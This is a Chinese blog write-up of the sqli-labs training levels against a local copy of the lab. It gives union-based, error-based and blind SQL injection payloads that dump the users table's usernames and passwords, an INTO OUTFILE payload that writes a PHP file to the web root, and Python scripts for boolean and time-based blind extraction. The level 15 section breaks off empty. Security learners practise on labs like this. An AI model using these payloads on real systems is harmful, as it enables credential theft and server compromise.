sqli-labs闯关复现

1.第一关:

        

提示我们输入数字值得id,我们先输入

?id=1

有回显内容,说明我们已经进入了数据库进行查询。

尝试联表注入:

       第一步:首先我们需要知道一张表有几列,可以通过报错和正常回显来判断有几列。

这里两个知识点:

        1.正常使用mysql语句是无法查询出来的,由于是字符型,需要使用 ' 单引号来闭合,达到逃脱单引号的控制

        2.-- 空格是mysql的注释符,因为+加号是和空格编码成一样的%20,具体证明可以查看各大官方文档,例如华三。

?id=1'order by 3 --+

?id=1'order by 4 --+

这不难看出,这个表有三列。

        第二步:爆出表格的哪一列显示在页面。

?id=-1'union select 1,2,3--+

确定了显示的是2和3列

        第三步:就可以开始获取自己想要知道的内容了

?id=-1'union select 1,database(),version()--+

第四步:由于我们查出来了security这个数据库名,接下来就可以一步一步查出它的账号密码有哪些。先查出表名,在根据表名查出users的列名,最后就可以直接select查出账号密码。

select table_name from tables where table_schema='security';

select column_name from columns where table_schema='security' and table_name='users';

select username,password from security.users;

 

这是在数据库里面看到的表名和列名以及密码,但是我们需要通过注入在页面回显出来。

group_concat()的作用:将查询结果连起来。

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

 到这里第一关就结束。

2.第五关:

 由于第五关没有正确的回显,所以可以尝试一下进行报错注入。

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3e,password)from users),1,32),0x7e),1)--+

注入成功,看到报错回显了账号密码,但是只有前32位,所以要以此类推知道全部回显出来。只需要吧1,32改成32,64.......

3.第七关:主要考察outfile
?id=1')) union select 1,2,"<?php phpinfo();" into outfile "C:/Study/phpstudy/phpstudy_pro/WWW/sqli-labs-master/web.php";--+

提示有语法错误不用担心,去看一下该路径下是否生成了php文件。

4.第八关:对错都不回显,但是对就不显示,错就是you are in.....

我们可以尝试一下:因为数据库名为security,第一个字母为s转换成ascii看看115是否正确。

?id=1' and ascii(substr(database(),1,2))=115--+

不难看出,这样是可以一直推出来的,但是需要尝试特别长的时间,所以我们可以选择爆破,或者用脚本跑出来。这是我使用简单的脚本:

import requests

url = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'

def inject_database(url):
    name = ''
    for i in range(1, 20):
        for j in range(32, 129):
            payload = "1' and ascii(substr(database(), %d, 1)) = %d-- " % (i, j)
            res = {"id": payload}
            r = requests.get(url, params=res)
            if "You are in..........." in r.text:
                name = name + chr(j)
                print(name)
                break
            else:
                continue

inject_database(url)

接下里只需要修改payload一步一步跑出来即可

"1' and ascii(substr((select group_concat(table_name)from information_schema.table where table_schema='security'), %d, 1)) > %d-- " % (i, mid)
5.第九关:没有任何反应,所以只能根据时间进行时间盲注,需要用到sleep()函数
import requests
import time


def process(length):
    result = ''
    for i in range(1, length + 1):
        for j in range(32, 126):
            start_time = time.time()
            response = requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(), {i}, 1))={j}, sleep({5}), 0)--+")
            process_time = time.time() - start_time
            if process_time > TIME:
                result += chr(j)
                print(result)
    return result


if __name__ == '__main__':
    TIME = 5
    process(8)

6.第十一关:

我们可以尝试一下在Username进行注入,由于这里不是地址栏,不会进行编码,所以就可以使用#,因为闭合的原因,所以Password可以随便输入。

1' union select 1,2#

可以发现确实是这样的,找到注入点,就和第一关差不多了

1' union select 1,group_concat(username ,id , password) from users#

7.第十五关

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值